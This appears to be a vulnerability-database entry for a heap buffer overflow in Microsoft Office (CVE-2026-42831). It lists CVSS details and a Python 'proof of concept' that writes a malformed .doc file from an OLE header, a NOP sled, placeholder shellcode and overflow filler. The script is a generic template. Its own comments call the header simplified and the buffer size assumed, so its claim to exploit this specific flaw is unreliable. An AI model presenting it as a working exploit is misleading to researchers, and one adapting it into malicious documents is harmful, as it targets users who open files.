Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Office (具体受影响版本请参考官方安全通告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct
# Proof of Concept for CVE-2026-42831 (Heap Buffer Overflow)
# This script generates a malformed file structure to trigger the overflow.
# Note: For educational and testing purposes only.
def generate_malicious_file(filename):
# Header for a generic Office file format (simplified)
header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1"
# Malicious payload designed to overflow the heap buffer
# The specific offset and size depend on the vulnerable internal structure
nop_sled = b"\x90" * 100
# Placeholder for shellcode (e.g., calc.exe execution)
shellcode = b"\xCC" * 200
# Overflow trigger: data exceeding the allocated buffer size
# Assuming the vulnerable buffer is around 256 bytes, we send 1024
overflow_data = b"A" * 1024
payload = header + nop_sled + shellcode + overflow_data
with open(filename, 'wb') as f:
f.write(payload)
print(f"[+] Malicious file '{filename}' generated successfully.")
print(f"[*] Open this file in a vulnerable version of Microsoft Office to trigger the crash.")
if __name__ == "__main__":
generate_malicious_file("cve_2026_42831_exploit.doc")